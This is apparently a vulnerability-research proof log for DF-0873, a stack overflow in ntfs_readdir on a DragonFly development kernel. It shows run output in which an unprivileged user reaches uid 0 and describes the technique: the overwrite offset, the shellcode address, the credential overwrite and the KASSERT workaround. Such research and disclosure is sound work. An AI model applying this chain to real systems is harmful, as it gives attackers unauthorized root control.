================================================================
DF-0873 EXPLOIT CHAIN -- ntfs_readdir convname stack smash -> uid=0
================================================================
Kernel: DragonFly 6.5-DEVELOPMENT #0 (default GENERIC, INVARIANTS ON,
        no stack canary, no SMAP/SMEP, no KASLR)
Trigger user: maxx (uid 1001, not in wheel)
Precondition: root mounted the crafted NTFS image (admin-mount scenario,
        ACCEPTABLE per the realistic threat model) and chowned the
        mountpoint to the user.  The readdir/getdents is the UNPRIVILEGED
        trigger.

--- run (fresh vm.sh reset with-src, kernel #0) ---
MOUNTED
[*] maxx uid before:
1001
[*] running exploit as maxx:
EXPLOIT_RC=0

--- root marker (written by win() AFTER getuid()==0) ---
--ROOTMARKER--
DF0873 uid=0
--UID-FILE-OWNER--
-rw-r--r--  1 root  wheel  12 Jul  6 12:22 /tmp/DF0873_ROOT
--UPTIME--
12:22PM  up 2 mins, 0 users, load averages: 0.34, 0.09, 0.03

================================================================
PROOF OF uid=0:
 * win() is reached via the smashed return address (convname[312..319] =
   shellcode addr 0x1337000), runs in ring 0 (no SMEP), escalates
   curthread->td_proc->p_ucred->cr_uid = 0, resets the lwkt token ring
   (td_toks_stop = &td_toks_base) to satisfy the INVARIANTS KASSERT, then
   iretq's back to CPL3 win().
 * win() calls getuid(); the marker file is written ONLY when getuid()==0.
 * /tmp/DF0873_ROOT is owned by root:wheel -- an unprivileged user (uid
   1001) cannot create a root-owned file except with elevated credentials,
   confirming cr_uid was set to 0.
 * win() does _exit(getuid()) -> exit code 0 == uid 0 (EXPLOIT_RC=0).
================================================================